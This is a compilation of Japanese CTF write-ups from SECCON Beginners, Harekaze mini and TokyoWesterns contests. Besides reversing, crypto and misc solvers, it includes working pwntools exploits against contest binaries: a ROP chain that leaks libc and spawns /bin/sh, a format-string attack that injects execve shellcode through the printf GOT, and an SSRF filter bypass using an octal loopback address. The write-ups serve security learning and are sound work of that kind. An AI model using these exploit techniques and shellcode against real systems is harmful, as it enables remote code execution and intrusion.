    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}

*(long*)target = value; ここで標準入力で指定したアドレスに指定の値を代入してくれる。win関数のアドレスが0x04011f6 なのでret addrをwin関数のアドレスで上書きしてもらう。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103
[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0000000000000000  <- buf
 0x00007ffef60d8e98 | 0x0000000000000000
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x0000000000000000  <- target
 0x00007ffef60d8eb8 | 0x0000000000000000  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00007f58721f6bf7  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

Where would you like to rewrite it?
> 140733026504392
0x00007ffef60d8ec8 = 4198902

[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0a32303938393134  <- buf
 0x00007ffef60d8e98 | 0x0a32393334303500
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x00000000004011f6  <- target
 0x00007ffef60d8eb8 | 0x00007ffef60d8ec8  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00000000004011f6  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop

Do you like programming?

Did you know Return Oriented Programming?

nc beginners-rop.quals.beginners.seccon.jp 4102

コード抜粋

#include <stdio.h>
#include <unistd.h>
char *gets(char *s);
int main() {
    char str[0x100];
    gets(str);
    puts(str);
}
__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。

from pwn import *

srv = 'beginners-rop.quals.beginners.seccon.jp'
port = 4102
bin = ELF('./chall')
libc = ELF('./libc-2.27.so')

#conn = process(bin.path)
# '''
#b *0x000215bf
#continue
#''')
conn = remote(srv, port)

payload = b'A' * 0x100
payload += b'B' * 8

"""
$ readelf -S ./chall
There are 31 section headers, starting at offset 0x3ab0:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
       :
  [13] .plt              PROGBITS         0000000000401020  00001020
       0000000000000050  0000000000000010  AX       0     0     16
  [14] .plt.sec          PROGBITS         0000000000401070  00001070
       0000000000000040  0000000000000010  AX       0     0     16
  [15] .text             PROGBITS         00000000004010b0  000010b0
       00000000000001e5  0000000000000000  AX       0     0     16
       :
  [23] .got              PROGBITS         0000000000403ff0  00002ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000404000  00003000
       0000000000000038  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000404038  00003038
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000404050  00003048
       0000000000000020  0000000000000000  WA       0     0     16
"""

addr_main = 0x401196
addr_puts_got = bin.got['puts'] #  0x404018
addr_puts_plt = bin.plt['puts'] #  0x401070
addr_gets_plt = bin.plt['gets']
addr_bss = 0x404050


# ROP gadget
pop_rdi = 0x00401283


# $ nm -D libc-2.27.so |grep puts
# 0000000000080aa0 W puts

# ROPの中で
# 1-1. putsを呼び、putsのアドレスを調べる
# 1-2. system関数のアドレスを逆算
# 1-3. mainを再度呼ぶ
# 
# 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ
# 2-2. getsに対して'/bin/sh'を送信
# 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し


# 1st ROP
# set got(puts) to rdi
payload += p64(pop_rdi)
payload += p64(addr_puts_got)
# call puts(got(puts))
payload += p64(addr_puts_plt)
# re-call main
payload += p64(addr_main)

conn.sendline(payload)
conn.recvline()  # garbage

# get leaked puts got-address
leaked_puts_got = conn.recvline().rstrip()
if len(leaked_puts_got) < 8:
    leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got))

print('puts GOT:', hex(u64(leaked_puts_got)))
leaked_puts = u64(leaked_puts_got)

# calculate libc's base address
libc_base = leaked_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']


# 2nd rop
payload = b'A' * 0x100
payload += b'B' * 8

# set bss addr to rdi
payload += p64(pop_rdi)
payload += p64(addr_bss)
# call gets(rdi); // scan '/bin/sh\0' from stdin
payload += p64(addr_gets_plt)
# set bss addr to rdi ('/bin/sh\0')
payload += p64(pop_rdi)
payload += p64(addr_bss)
# call system(rdi)
payload += p64(addr_system)

conn.sendline(payload)
c = conn.recvline()  # garbage
print(c)
conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る
conn.interactive()

'''
$ python3 solve.py
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
puts GOT: 0x7f91bbf8baa0
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n'
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}$
'''

Flag: ctf4b{H4rd_ROP_c4f3}

以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!

※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。

Harekaze mini CTF 2020 Write-up

2020/12/26 10:00 JST - 12/27 10:00 JST (24H) に開催されたCTFのWrite-upです。チーム名: whitecatsで出場して378pt. 全体51位でした。

Easy Flag Checker [rev]

このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。 This binary checks if the input is the flag.

フラグチェック処理のGhidraでの逆コンパイル部分。param_1が入力文字列、param_2fakeflag{this_is_not_the_real_flag}という文字列。

funcsは、インデックス0~2でそれぞれaddsubxorの処理をするだけの関数で、fakeflagとtableというデータを順番に処理している。tableの中身は、ソルバーに記載。

undefined8 check(long param_1,long param_2)

{
  char cVar1;
  int index;
  
  index = 0;
  while( true ) {
    if (0x22 < index) {
      return 0;
    }
    cVar1 = (**(code **)(funcs + (long)(index % 3) * 8))
                      ((int)*(char *)(param_2 + index),(int)(char)table[index]);
    if (cVar1 < *(char *)(param_1 + index)) break;
    if (*(char *)(param_1 + index) < cVar1) {
      return 0xffffffff;
    }
    index = index + 1;
  }
  return 1;
}

ソルバーは、fakeflagとtableのデータを順番に処理するだけ。xorしたデータだけprintableの範囲を超えるので、最終的に128で割った余りにしている。

# -*- coding: utf-8
funcs = ['\x96\x11\x40\x00\x00\x00\x00\x00', # return a + b
         '\xb4\x11\x40\x00\x00\x00\x00\x00', # return a - b
         '\xd4\x11\x40\x00\x00\x00\x00\x00'] # return a ^ b
# -> 0: add, 1: sub(), 3: xor()


def add(i, j):
    return ord(i) + ord(j)

def sub(i, j):
    return ord(i) - ord(j)

def xor(i, j):
    return ord(i) ^ ord(j)

functions = [add, sub, xor]

'''
                             table                                           XREF[3]:     Entry Point(*), 
                                                                                          check:0040124f(*), 
                                                                                          check:00401256(R)  
        00404060 e2 00 19        undefine
                 00 fb 0d 
                 19 02 38 
           00404060 e2              undefined1E2h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     check:0040124f(*), 
                                                                                                                     check:00401256(R)  
           00404061 00              undefined100h                     [1]
           00404062 19              undefined119h                     [2]
           00404063 00              undefined100h                     [3]
           00404064 fb              undefined1FBh                     [4]
           00404065 0d              undefined10Dh                     [5]
           00404066 19              undefined119h                     [6]
           00404067 02              undefined102h                     [7]
           00404068 38              undefined138h                     [8]
           00404069 e0              undefined1E0h                     [9]
           0040406a 22              undefined122h                     [10]
           0040406b 12              undefined112h                     [11]
           0040406c bd              undefined1BDh                     [12]
           0040406d ed              undefined1EDh                     [13]
           0040406e 1d              undefined11Dh                     [14]
           0040406f f5              undefined1F5h                     [15]
           00404070 2f              undefined12Fh                     [16]
           00404071 0a              undefined10Ah                     [17]
           00404072 c1              undefined1C1h                     [18]
           00404073 fc              undefined1FCh                     [19]
           00404074 00              undefined100h                     [20]
           00404075 f2              undefined1F2h                     [21]
           00404076 fc              undefined1FCh                     [22]
           00404077 51              undefined151h                     [23]
           00404078 08              undefined108h                     [24]
           00404079 13              undefined113h                     [25]
           0040407a 06              undefined106h                     [26]
           0040407b 07              undefined107h                     [27]
           0040407c 39              undefined139h                     [28]
           0040407d 3c              undefined13Ch                     [29]
           0040407e 05              undefined105h                     [30]
           0040407f 39              undefined139h                     [31]
           00404080 13              undefined113h                     [32]
           00404081 ba              undefined1BAh                     [33]
           00404082 00              undefined100h                     [34]
'''
table =  '\xe2\x00\x19\x00\xfb\x0d\x19\x02'
table += '\x38\xe0\x22\x12\xbd\xed\x1d\xf5'
table += '\x2f\x0a\xc1\xfc\x00\xf2\xfc\x51'
table += '\x08\x13\x06\x07\x39\x3c\x05\x39'
table += '\x13\xba\x00'

fake_flag = "fakeflag{this_is_not_the_real_flag}"
i = 0
cVal = []
for i in range(len(fake_flag)):
    param0 = fake_flag[i]
    param1 = table[i]
    cVal += [functions[i % 3](param0, param1)]

cVal = list(map(lambda x: x % 128, cVal))
print(''.join(map(chr, cVal)))
'''
$ python3 solve.py
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
'''

Flag: HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

Wait [rev]

Please be patient. Brute-force attacks on the score server are prohibited.

実行すると、HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ と出力される。求めるのは[A-Z]{4}の4文字分。実行ファイルは、フラグチェック前に3秒のsleepが実行されるので、その処理を潰して実行ファイルに対してブルートフォースするか、チェック処理のところを解析して外部で処理するかの2択ぐらい。

sleep実行処理は、いろいろとチェック処理が入っていて潰すのが面倒くさそうだったので、後者でソルバーを作成。フラグのチェック処理は、HarekazeCTF\{ID[A-Z]{4}X\}$SALT\x00という文字列を結合した文字列のSHA1ハッシュが1fcce7ec44beb72c994e2cd69c462916ca8ec810になるかの確認だけ。(最初\x00部分が抜けていて、ちょっと気づくのに時間がかかった)

# -*- coding: utf-8 -*-
from hashlib import sha1
from itertools import product

def main():
    # HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$
    '''
    debug
    'HarekazeCTF{IDZZZZX}'
    0x7fffffffe100: 0xe9    0xcc    0x8d    0x45    0xa1    0x44    0x28    0xee
    0x7fffffffe108: 0xd2    0xa2    0x2a    0xa8    0x2b    0xfc    0x36    0x80
    0x7fffffffe110: 0xa9    0x37    0xae    0x7d    0x0     0x0     0x0     0x0
    '''
    
    '''
      local_78[0] = '\x1f';
      local_78[1] = 0xcc;
      local_78[2] = 0xe7;
      local_78[3] = 0xec;
      local_78[4] = 0x44;
      local_78[5] = 0xbe;
      local_78[6] = 0xb7;
      local_78[7] = 0x2c;
      local_78[8] = 0x99;
      local_78[9] = 0x4e;
      local_78[10] = 0x2c;
      local_78[11] = 0xd6;
      local_78[12] = 0x9c;
      local_78[13] = 0x46;
      local_78[14] = 0x29;
      local_78[15] = 0x16;
      local_78[16] = 0xca;
      local_78[17] = 0x8e;
      local_78[18] = 0xc8;
      local_78[19] = 0x10;
    '''
    correct_sha1 = [0x1f, 0xcc, 0xe7, 0xec, 0x44, 0xbe, 0xb7, 0x2c,
                    0x99, 0x4e, 0x2c, 0xd6, 0x9c, 0x46, 0x29, 0x16,
                    0xca, 0x8e, 0xc8, 0x10]
    correct_sha1_md = ''.join(map(lambda x: x[2:], map(hex, correct_sha1)))
    
    seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    cnt = 0
    for s in product(seed, repeat=4):
        FLAG = 'HarekazeCTF{ID' + ''.join(s) + 'X}'
        FLAG += 'SALT\x00'
        flag_sha1 = sha1(FLAG.encode('utf-8'))
        flag_md = flag_sha1.hexdigest()
        print(cnt, FLAG, ':', flag_md, correct_sha1_md)
        cnt += 1
        
        if flag_md == correct_sha1_md:
            print('!!!! GET FLAG !!!!')
            break


if __name__ == '__main__':
    main()

'''
$ python3 solve.py
 :
298850 HarekazeCTF{IDRACGX}SALT : c539a4d9c7352680001a03046ad37c697e609d1b 1fcce7ec44beb72c994e2cd69c462916ca8ec810
298851 HarekazeCTF{IDRACHX}SALT : 917aeeb01e576f5c66bd61f86c96e685b9895abf 1fcce7ec44beb72c994e2cd69c462916ca8ec810
298852 HarekazeCTF{IDRACIX}SALT : 1fcce7ec44beb72c994e2cd69c462916ca8ec810 1fcce7ec44beb72c994e2cd69c462916ca8ec810
!!!! GET FLAG !!!!
'''

Flag: HarekazeCTF{IDRACIX}

以上です。

TokyoWesterns CTF 6th 2020 Write-up

2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。

mask [misc]

192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192

ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。

# -*- coding: utf-8 -*-
import base64

text = '''192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
'''

mask = text.split()
ans = ''
for m in mask:
    ip, netmask = m.split('/')
    print(ip, netmask)
    ip = ip.split('.')
    nm = netmask.split('.')
    
    # ホスト部を繋いで、4byteの整数値に変換
    t = 0
    for i in range(4):
        tmp = int(ip[i]) & ~(int(nm[i]))
        t += tmp << ((3 - i) * 8)
    print(t, chr(t))
    ans += chr(t)
print(ans)
print(base64.b64decode(ans))
'''
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
b'TWCTF{Are-you-using-a-mask?}'
'''

Flag: TWCTF{Are-you-using-a-mask?}

urlcheck v1 [web] [warmup]

find the flag

http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar

SSRF問題。/check-statusに送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-statusにアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False
    
    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)

正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。

チェックしてもらったURLはhttp://0177.0.0.1/admin-status

Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}

Reversing iS Amazing [reversing] [warmup]

rsa

opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。

f:id:amaga38:20200922015743j:plain

秘密鍵は0xE11~0xE2Aのrep movsq処理で.rodataセクションからコピーされているので、そこから抜き出す。

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./rsa')

start_idx = 0xa91 - 0x960
end_idx = 0xe11 - 0x960
text = elf.section('.text')[start_idx:end_idx]
text = [text[i] for i in range(6, len(text), 7)]
enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text))
print(enc_flag)
print(len(enc_flag))

start_idx = 0x1100 - 0x010a0
seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)]
print(seed)
print(len(seed))

with open('seed.dat', 'wb', buffering=0) as prv_file:
    prv_file.write(seed)

with open('encrypted_flag', 'wb', buffering=0) as prv_file:
    prv_file.write(enc_flag)

あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encryptRSA_public_decryptにしたらうまく復号できた。

  • BIO_new_mem_buf
  • d2i_PrivateKey_bio
  • EVP_PKEY_get1_RSA
  • RSA_private_encrypt
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/err.h>

#include <openssl/rsa.h>
#include <openssl/engine.h>

int main(int argc, void *argv[])
{
  char buf[1024] = {0};
  char buf_eflag[1024] = {0};
  char err_buf[256];
  int fd;
  int rc;

  int seed_len, eflag_len;

  fd = open("seed.dat", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf, 0x260);
  printf("rc: %d\n", rc);
  seed_len = rc;
  close(fd);

  fd = open("encrypted_flag", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf_eflag, 128);
  printf("rc: %d\n", rc);
  eflag_len = rc;
  close(fd);
  
  // RSA
  BIO *bio;
  bio = BIO_new_mem_buf(buf, seed_len);
  if (!bio) {
    puts("Error: bio error.");
    return -1;
  }

  EVP_PKEY *pkey = NULL;
  EVP_PKEY *ptr;
  ptr = d2i_PrivateKey_bio(bio, &pkey);
  if (ptr == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  RSA *rsa;
  rsa = EVP_PKEY_get1_RSA(pkey);
  if (rsa == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  
  FILE *fp;
  fp = fopen("tmp_rsa.dat", "wb");
  RSA_print_fp(fp, rsa, 0);
  fclose(fp);

  char buf_dflag[1024] = {0};
  RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1);
  printf("%s\n", buf_dflag);
  return 0;
}

実行結果

$ gcc -o solve solve.c -lssl -lcrypto
$ ./solve
rc: 608
rc: 128
TWCTF{Rivest_Shamir_Adleman}

flag: TWCTF{Rivest_Shamir_Adleman}

easy-hash [crypto] [warmup]

ソースコード: easy_hash.7z

ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo

初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。

(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'

2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた

$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}

flag: TWCTF{colorfully_decorated_dream}

nothing more to say 2020 [pwn] [warmup]

4連休楽しんでください!

nothing

nothing.c

nc pwn02.chal.ctf.westerns.tokyo 18247

nothing.cのソースコード。printfで表示される通り、Format String Bugがある。

// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}

int main(void) {
    char buf[0x100]; 
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}

セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/shを呼ぶようにした。

ソルバーは、以下の流れで処理。

  • %$41$p をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット
  • bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
  • 次のprintf(">");されたときにstack上のshellcodeが実行されて、/bin/sh起動
  • あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*-
from pwn import *
import time

def send_payload(conn, payload=b'', delim=b'>'):
    print('send:', payload)
    conn.send(payload + b'\r\n')
    data = conn.recvuntil(delim)
    print(data)
    return data[:-1]

srv = 'pwn02.chal.ctf.westerns.tokyo'
#srv = 'localhost'
port = 18247

elf = ELF('./nothing')
print(elf.got)
got_printf = elf.got[b'printf']
print('got.printf', hex(got_printf))

conn = remote(srv, port)
data = conn.recvuntil(b'>')
print(data)

# %6$p -> buf
# $39$p -> __libc_start_main + 0xe7
# $41$p -> argv
# $66$p -> *argv

payload = b'%41$p'
data = send_payload(conn, payload).split()
print(data)
argv0_addr = int(data[0], 16)
buf_addr = argv0_addr - 0x1e8  # stackのargv[0]位置からbufの先頭アドレスを逆算
print('buf_addr', hex(buf_addr))

shellcode = b'\x31\xD2\x52\x48'
shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

print('buf addr', hex(buf_addr))
print(hex(int(buf_addr & 0xffffffff00000000)))
print(hex(int(buf_addr & 0xffffffff)))

buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32
buf_addr_low0 = (buf_addr & 0xffff0000) >> 16
buf_addr_low1 = buf_addr & 0xffff

idx_buf = 6
idx_high = 16
idx_low0 = 17
idx_low1 = 18

# create fsb code
fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high)

write_byte = buf_addr_high
write_byte = (0x10000 + buf_addr_low0) - write_byte
fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0)

write_byte = 0x10000 + buf_addr_low0
write_byte = (0x20000 + buf_addr_low1) - write_byte
fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1)

code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1)
padding = '.' * ((idx_high - idx_buf) * 8 - code_len)
code = fsb_high + fsb_low0 + fsb_low1 + padding
code = shellcode + code.encode('utf-8')

# send shellcode
target_addr = got_printf
print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))
conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))

conn.interactive()
conn.close()

うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。

以上です。

SECCON Beginers CTF 2020 write-up

2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。

MISC

Welcome (50pt)

Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。

Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode (53pt)

Do you know emo-emo-encode?

emoemoencode.txt

テキストの中身は絵文字がひたすら並んでかいてあるだけ。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{になるようにそれぞれの文字の4バイト目を計算してみる。

$ hexdump -C emoemoencode.txt 
00000000  f0 9f 8d a3 f0 9f 8d b4  f0 9f 8d a6 f0 9f 8c b4  |................|
00000010  f0 9f 8d a2 f0 9f 8d bb  f0 9f 8d b3 f0 9f 8d b4  |................|
00000020  f0 9f 8d a5 f0 9f 8d a7  f0 9f 8d a1 f0 9f 8d ae  |................|
00000030  f0 9f 8c b0 f0 9f 8d a7  f0 9f 8d b2 f0 9f 8d a1  |................|
00000040  f0 9f 8d b0 f0 9f 8d a8  f0 9f 8d b9 f0 9f 8d 9f  |................|
00000050  f0 9f 8d a2 f0 9f 8d b9  f0 9f 8d 9f f0 9f 8d a5  |................|
00000060  f0 9f 8d ad f0 9f 8c b0  f0 9f 8c b0 f0 9f 8c b0  |................|
00000070  f0 9f 8c b0 f0 9f 8c b0  f0 9f 8c b0 f0 9f 8d aa  |................|
00000080  f0 9f 8d a9 f0 9f 8d bd  0a                       |.........|
00000089

3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。

def main():
    with open('emoemoencode.txt', 'rb') as f:
        data = f.read().splitlines()[0]

    ans = ''
    for idx in range(0, len(data), 4):
        if data[idx+2] == 0x8D:
            ans += chr(data[idx+3] - 0x40)
        elif data[idx+2] == 0x8C:
            ans += chr(data[idx+3] - 0x80)
    print('FLAG:', ans)

main()

FLAG: ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (52pt)

Do you like rhythm and blues?

r_and_b.zip

ファイルの中身は、エンコードしたプログラムとエンコード結果。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")

def rot13(s):
    # snipped

def base64(s):
    # snipped

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
